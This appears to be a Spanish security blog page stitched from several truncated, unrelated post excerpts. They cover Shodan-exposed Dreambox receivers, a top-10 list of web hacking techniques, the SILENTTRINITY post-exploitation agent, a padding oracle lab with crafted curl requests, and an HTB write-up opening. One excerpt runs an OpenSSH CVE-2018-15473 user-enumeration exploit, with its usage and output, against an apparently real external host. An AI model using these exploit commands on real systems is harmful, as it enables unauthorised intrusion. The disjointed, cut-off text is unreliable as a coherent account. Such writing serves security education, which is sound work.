Los receptores satélite basados en Linux como Dreambox, EX4, Technomate, Vu+, etc. siguen en auge pero también son uno de los ejemplos más claros del riesgo que tienen los dispositivos IoT en manos de usuarios no técnicos, es decir, la mayoría. Y no me refiero solo a vulnerabilidades concretas si no a fallos o carencias en la configuración tan básicos como el uso de contraseñas por defecto o vacías o incluso el acceso por defecto a paneles de control sin necesidad de autenticación, y eso es normalmente culpa en gran parte de los fabricantes.

Ya lo hemos visto en más de una ocasión en varios receptores, y hasta algunos vienen de fábrica con el acceso telnet o ssh habilitados y la contraseña de root en blanco... el resultado es que cualquier exposición del dispositivo en Internet abre una puerta inmediata a cualquier atacante, que entraría en nuestra casa, hasta la cocina... literalmente.

Con esto no quiero decir que el usuario no tenga que preocuparse de la seguridad de sus dispositivos y más si están expuestos en Internet, es más, hemos visto receptores con roms "cocinadas" cuya instalación requiere una serie de pasos nada sencillos... pero sin embargo, a menudo olvidamos modificar una simple contraseña. Así que este post va de eso, de intentar concienciarnos de que debemos gastar un minuto en mejorar y/o verificar la seguridad de cada uno de nuestros electrodomésticos (en este caso receptores satélite basados en Linux) porque precisamente ya no son simples electrodométicos... les llaman "inteligentes".

En nuestro ejemplo trataremos con receptores DVB satélite Linux de una de las marcas más famosas: Dreambox. Una simple búsqueda en Shodan nos dará acceso a la página web de control de más de un centenar de receptores con Linux Enigma2:


Del resultado obtenido seleccionaremos uno bastante actualizado como podéis comprobar en la siguiente imagen :

http://IPVULNERABLE:8081/#!/extras

Las 10 mejores técnicas de hacking web en el 2017

Hace un par de años que WhiteHat Security no publicaba el top 10 de técnicas de hacking web y ya lo echábamos de menos... ahora gracias a los chic@s de Portswigger (famosos por Burpsuite) volvemos a tenerlo!

Primero organizaron una votación de entre 37 nominadas, de las cuales 15 fueron votadas por la Comunidad para que, finalmente, un panel de expertos deliberaran y seleccionaran un top 10 de las mejores técnicas de hacking web en 2017 (y también 2016).

Los principales criterios fueron cuán innovadores, generalizados e impactantes eran los técnicas, y por cuánto tiempo seguirán siendo relevantes. Estos son los resultados (del número 10 al 1):

10. Binario de webshell a través de OPcache en PHP 7

En un post de 2016, Ian Bouchard revela una técnica novedosa para bypassear el hardening y obtener con éxito RCE a través de vulnerabilidades de escritura de archivos en sistemas que ejecutan PHP 7.

9. Whitepaper de seguridad de los navegadores de Cure53

En este enorme documento técnico encargado por Google, Cure53 analiza en profundidad la seguridad de Internet Explorer, Edge y Chrome. Los capítulos 3-5 en particular contienen información interesante sobre seguridad web.

8. Codificación de peticiones para eludir WAFs

Soroush Dalili hace algunas cosas curiosas con codificaciones y solicitudes HTTP mal formadas para bypassear numerosos WAF. Desafortunadamente, no está disponible la grabación de la presentación que hizo, pero se puede obtener información a partir de dos posts y las diapositivas actualizadas.

7. Una inmersión profunda en los controles de acceso de AWS S3

Frans Rosén examina el funcionamiento interno de los buckets de S3 desde la perspectiva de un atacante y un defensor. El documento cubre numerosos escollos comunes, incluido el asombroso e hilarante "gotcha" de 'Usuarios Autenticados'.

6. Vulnerabilidades avanzadas en flash

Esta serie de publicaciones de Enguerran Gillier utiliza varias vulnerabilidades en YouTube para introducir e ilustrar varias técnicas avanzadas de explotación de Flash. Ha combinado numerosas técnicas a menudo pasadas por alto con un toque artístico en estas publicaciones sumamente bien explicadas.

SILENTTRINITY - Post Explotación con el “Empire” basado en C# y Python

La semana pasada fue la DerbyCon y nos ha traído muuuuchas cosas nuevas, tantas que estoy sufriendo para poder verlas todas. No obstante, de toda esa montaña de información, una de las charlas ha llamado especialmente mi atención:

  • IronPython… OMFG - Marcello Salvati (byt3bl33d3r)
    • https://github.com/byt3bl33d3r/Slides/blob/master/IronPython_OMFG_Derbycon_2018.pptx
    • https://www.youtube.com/watch?v=NaFiAx737qg

IronPython… OMFG

1- Introducción
byt3bl33d3r, creador del conocido proyecto CrackMapExec, nos presenta SILENTTRINITY, su nuevo agente de post explotación basado en C#/.NET, Python e IronPython.

Para aquellas personas que hayan ido leyendo mis posts anteriores aquí en HackPlayers, ya sabrán por qué razón se está transitando poco a poco a estas herramientas basadas en C#. Para el resto, mencionar que actualmente existen numerosas protecciones contra el uso de PowerShell ofensivo que, poco a poco, están limitando su potencial, como son:
  • AMSI
  • Module Logging 
  • ScriptBlock Logging
  • Transcription Logging
  • Constrained Language Mode

Explotar padding oracle para obtener claves de cifrado

Padding Oracle fue introducido por Serge Vaudenay en la conferencia Eurocrypt de 2002, pero parece que no fue hasta 2010 cuando realmente empezó a tomarse en serio, gracias sobretodo a Juliano Rizzo y Thai Duong que demostraron cómo realizar ataques efectivos utilizando esta técnica a sitios web con ASP.NET.


Hoy, 8 años después, Padding Oracle sigue estando presente no sólo en sitios con ASP.NET sin actualizar, si no en cualquiera que utilice un algoritmo de cifrado de bloques de longitud variable (es decir que necesita usar relleno o padding) y son vulnerables. Y cuando decimos cualquiera no sólo hablamos de Web, si no de cualquier protocolo que utilice cifrado de bloques o CBC como SSL (Poodle), Ipsec, WTLS, o SSH, etc. En todos ellos podríamos llegar a descifrar los datos sin la secret key, e incluso a cifrar con lo que, dependiendo del aplicativo, podríamos insertar en la sesión un cookie de admin o inyectar código EL, por decir algunos ejemplos. Como veis las consecuencias van desde una simple revelación de información sensible hasta la posibilidad de ejecutar código remotamente.

Por eso no conviene olvidarse nunca de las "posibilidades" de Padding Oracle, por lo que hoy rescatamos un post de GDSSecurity dónde explotan esta vulnerabilidad con PadBuster.

Primero empezaremos descargando el código del siguiente repositorio donde encontraremos una aplicación web vulnerable a Padding Oracle. Utiliza AES-128 con padding PKCS#5 y la misma contraseña estática para la clave de cifrado y el vector de inicialización, que se utilizan para cifrar y descifrar este valor. No hay HMAC u otra verificación de integridad de mensajes, así que es ideal para practicar.

# git clone https://github.com/GDSSecurity/PaddingOracleDemos.git
# cd PaddingOracleDemos
# python pador.py


Escenario sencillo

La aplicación descifra todo lo que pongamos en el parámetro 'cipher':
# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: ApplicationUsername=user&Password=sesame

Al cambiar los dos primeros bits del primer bloque, podemos verificar que no se realizan comprobaciones de sintaxis en los datos descifrados. Y podemos ver que la aplicación procesa felizmente los datos "basura" que hemos metido:
# curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: �+�]7N�d�����N�me=user&Password=sesame

El siguiente paso es comprobar cómo reacciona la aplicación al padding incorrecto. Podemos hacer esto cambiando bits en el último bloque. Parece que la aplicación devuelve "error de descifrado" cuando el relleno es incorrecto.
# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff

decryption error 

Vulnerabilidad de enumeración de usuarios en OpenSSH (CVE-2018-15473)

El 15 de agosto de 2018 la gente de Qualys publicó en OSS-Security un aviso en el que comunicaban que, analizando los últimos commits de OpenSSH, se dieron cuenta de que se aplicó un parche bastante "curioso":

https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0

Date:   Tue Jul 31 03:10:27 2018 +0000
    delay bailout for invalid authenticating user until after the packet
    containing the request has been fully parsed. Reported by Dariusz Tytko
    and Michal Sajdak; ok deraadt

Sin este parche un atacante remoto podría probar fácilmente si un determinado usuario existe o no (enumeración de nombres de usuario):
87 static int
  88 userauth_pubkey(struct ssh *ssh)
  89 {
 ...
 101         if (!authctxt->valid) {
 102                 debug2("%s: disabled because of invalid user", __func__);
 103                 return 0;
 104         }
 105         if ((r = sshpkt_get_u8(ssh, &have_sig)) != 0 ||
 106             (r = sshpkt_get_cstring(ssh, &pkalg, NULL)) != 0 ||
 107             (r = sshpkt_get_string(ssh, &pkblob, &blen)) != 0)
 108                 fatal("%s: parse request failed: %s", __func__, ssh_err(r));

Es decir, con ésto el atacante puede intentar autenticar a un usuario con un paquete mal formado (por ejemplo un paquete truncado) y:

- Si el usuario no es válido (no existe), userauth_pubkey() hace un return inmediatamente, y el servidor envía un SSH2_MSG_USERAUTH_FAILURE al atacante.
- si el usuario es válido (existe), entonces sshpkt_get_u8 () falla y el servidor llama a fatal() y cierra su conexión con el atacante.

Las versiones de OpenSSH desde la 2.2 hasta la 7.7 son vulnerables y, básicamente, el equipo de Qualys estaba denunciando que ese problema debía tener un CVE y lo publicaron en oss-security porque si lo detectaron ellos cualquier otro podría haberlo hecho también y aprovecharse (mis dieses).

Su mensaje hizo efecto y el MITRE le asignó el CVE-2018-15473.

Un par de semanas después el equipo de ShelIntel publicó un exploit para esta vulnerabilidad y el resultado es un bonito script en Python capaz de enumerar usuarios en cientos de miles de servidores con OpenSSH que todavía no han sido actualizados...

El repo lo tenéis en https://github.com/Rhynorater/CVE-2018-15473-Exploit donde encontraréis además una imagen de docker para probar. También lo tenemos en EDB y MSF:

- https://www.exploit-db.com/exploits/45233/
- https://www.rapid7.com/db/search?q=CVE-2018-15473

Uso:
usage: 45233.py [-h] [--port PORT] [--threads THREADS]
                [--outputFile OUTPUTFILE] [--outputFormat {list,json,csv}]
                (--username USERNAME | --userList USERLIST)
                hostname

positional arguments:
  hostname              The target hostname or ip address

optional arguments:
  -h, --help            show this help message and exit
  --port PORT           The target port
  --threads THREADS     The number of threads to be used
  --outputFile OUTPUTFILE
                        The output file location
  --outputFormat {list,json,csv}
                        The output file location
  --username USERNAME   The single username to validate
  --userList USERLIST   The list of usernames (one per line) to enumerate
                        through

Ejemplo:

# nmap -p22 -sV -sC x.x.21.19

Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-03 01:27 CEST
Nmap scan report for xxxxxx (x.x.21.19)
Host is up (0.013s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.2 (protocol 2.0)
| ssh-hostkey:
|   1024 70:6b:29:42:b3:d3:e7:8d:12:06:2d:f8:40:5d:b8:c9 (DSA)
|   2048 23:33:92:5e:53:6c:79:87:43:d3:22:e0:b4:24:62:7e (RSA)
|_  256 01:8d:05:c7:92:c7:27:0b:d0:b1:1a:d4:49:c2:86:07 (ECDSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.33 seconds

# python 45233.py --username root x.x.21.19
root is a valid user!

# python 45233.py --username root2 x.x.21.19
root2 is not a valid user!

[HTB write-up] Sunday

Continuamos nuestro ciclo de writeups de máquinas de Hackthebox con la recién retirada Sunday, una máquina facilona pero cuanto menos curiosa al tratarse de un Solaris.


Scanning

Comenzaremos tratando de identificar puertos abiertos para posteriormente reconocer versiones y ejecutar scripts seguros.


El escaneo SYN no nos da ningún punto de entrada, por lo que tenemos que buscar más. Un escaneo TCP de los puertos habituales tampoco arroja luz sobre el asunto así que procedemos a lanzar un escaneo SYN a todos los puertos.

A mayores, podemos comentar que los scripts ejecutados ya nos dan usuarios así que no sería necesaria la enumeración manual de finger.

Nota 1: -sS = SYN scan; -n = no resolver nombre; -Pn = tratar como host vivo; -oA = todos los formatos output; -sV = Version scan; -sC = ejecutar scripts seguros.

Nota 2: Podríamos usar técnicas ninja para tratar de evadir cortafuegos, como podría ser –g 53 = puerto de origen 53 (dns); -f = fragmentar paquetes; --data-length = aumentar tamaño del paquete

Un escaneo a todos los puertos ya nos da un punto de entrada, el puerto 22022 que resulta ser SSH.